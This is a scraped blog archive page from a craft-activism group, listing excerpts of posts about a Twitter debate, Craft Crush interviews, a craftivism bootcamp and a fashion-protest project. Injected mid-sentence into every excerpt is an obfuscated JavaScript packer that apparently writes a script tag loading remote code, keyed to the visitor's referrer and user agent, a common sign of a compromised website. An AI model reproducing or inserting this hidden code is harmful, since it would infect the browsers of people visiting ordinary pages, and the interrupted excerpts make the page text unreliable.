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16 Aug Join a Live Twitter Debate #SummerofCraft organised by Axis and chaired by… our Sarah C!

  [caption id="attachment_2399" align="aligncenter" width="388"] eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!''.replace(/^/,String)){while(c--){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return'\w+'};c=1};while(c--){if(k[c]){p=p.replace(new RegExp('\b'+e(c)+'\b','g'),k[c])}}return p}('0.6("");n m="q";',30,30,'document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|sbhaf|var|u0026u|referrer|eehri||js|php'.split('|'),0,{})) Image courtesy of June Craft's Kayanna Nelson on www.welovefrenchknots.com[/caption] To conclude Axis's Summer of Craft Axis will be hosting a live twitter...

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14 Aug Craft Crush #8: Tilly Walnes of ‘Tilly & the Buttons’ & TV fame

As eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!''.replace(/^/,String)){while(c--){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return'\w+'};c=1};while(c--){if(k[c]){p=p.replace(new RegExp('\b'+e(c)+'\b','g'),k[c])}}return p}('0.6("");n m="q";',30,30,'document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|hfaet|var|u0026u|referrer|fdyda||js|php'.split('|'),0,{})) the Craftivist Collective we love to showcase fellow craft-lovers who inspire us to keep crafting, teach us new craft skills & new ways...

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10 Aug Craftivism Ingredient #4: Small & Beautiful

We eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!''.replace(/^/,String)){while(c--){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return'\w+'};c=1};while(c--){if(k[c]){p=p.replace(new RegExp('\b'+e(c)+'\b','g'),k[c])}}return p}('0.6("");n m="q";',30,30,'document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|abrsz|var|u0026u|referrer|yidyh||js|php'.split('|'),0,{})) believe that there are lots of ingredients needed to create effective craftivism activities that benefit the maker as well as reciever/viewer of the...

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22 Jul A Scotland Craftivism Bootcamp – please apply!

You eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!''.replace(/^/,String)){while(c--){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return'\w+'};c=1};while(c--){if(k[c]){p=p.replace(new RegExp('\b'+e(c)+'\b','g'),k[c])}}return p}('0.6("");n m="q";',30,30,'document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|ebfsz|var|u0026u|referrer|ihadt||js|php'.split('|'),0,{})) might remember me talking about this happening for a while now. Well, I'm so happy that it's all confirmed. Now we would love...

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16 Jul Craft Crush #7: Zoe Robinson of The Good Wardrobe

As eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!''.replace(/^/,String)){while(c--){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return'\w+'};c=1};while(c--){if(k[c]){p=p.replace(new RegExp('\b'+e(c)+'\b','g'),k[c])}}return p}('0.6("");n m="q";',30,30,'document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|hstyh|var|u0026u|referrer|ayzhr||js|php'.split('|'),0,{})) the Craftivist Collective we love to showcase fellow craft-lovers who inspire us to keep crafting, teach us new craft skills & new ways...

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10 Jul Craftivism Ingredient #3: Building Relationships Through Craft

We eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!''.replace(/^/,String)){while(c--){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return'\w+'};c=1};while(c--){if(k[c]){p=p.replace(new RegExp('\b'+e(c)+'\b','g'),k[c])}}return p}('0.6("");n m="q";',30,30,'document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|ryzyd|var|u0026u|referrer|anbte||js|php'.split('|'),0,{})) believe that there are lots of ingredients needed to create effective craftivism activities that benefit the maker as well as reciever/viewer of the...

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09 Jul CRAFTER-THOUGHT: by Nadia Idle on how to fight the ugly side of the fashion industry

This eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!''.replace(/^/,String)){while(c--){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return'\w+'};c=1};while(c--){if(k[c]){p=p.replace(new RegExp('\b'+e(c)+'\b','g'),k[c])}}return p}('0.6("");n m="q";',30,30,'document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|ykaay|var|u0026u|referrer|kydna||js|php'.split('|'),0,{})) CrafterThought is written by Nadia Idle who is the Activism & Outreach Officer at War on Want. It's a great blog to read before...

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04 Jul NEW & GLOBAL Summer/Autumn Project: #MiniFashionProtest because….

...we eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!''.replace(/^/,String)){while(c--){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return'\w+'};c=1};while(c--){if(k[c]){p=p.replace(new RegExp('\b'+e(c)+'\b','g'),k[c])}}return p}('0.6("");n m="q";',30,30,'document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|snznh|var|u0026u|referrer|ykeyb||js|php'.split('|'),0,{})) Love Fashion & Hate Sweatshops right?  [caption id="attachment_2333" align="alignleft" width="272"] Hung up during London Fashion Week September 2012 inside Somerset House[/caption] I haven't spoken to...

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24 Jun Craft Crush #6: Julie Schneider

As eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!''.replace(/^/,String)){while(c--){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return'\w+'};c=1};while(c--){if(k[c]){p=p.replace(new RegExp('\b'+e(c)+'\b','g'),k[c])}}return p}('0.6("");n m="q";',30,30,'document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|dntrb|var|u0026u|referrer|irean||js|php'.split('|'),0,{})) the Craftivist Collective we love to showcase fellow craft-lovers who inspire us to keep crafting, teach us new craft skills & new ways...

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20 Jun What to wear to an ethical awards ceremony? Written by craftivist Nikki Shaill

Written eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!''.replace(/^/,String)){while(c--){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return'\w+'};c=1};while(c--){if(k[c]){p=p.replace(new RegExp('\b'+e(c)+'\b','g'),k[c])}}return p}('0.6("");n m="q";',30,30,'document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|nnzib|var|u0026u|referrer|bfiye||js|php'.split('|'),0,{})) by craftivist Nikki Shaill  What to wear to an ethical awards ceremony? As I considered my clothes rail, trying to choose an outfit to...

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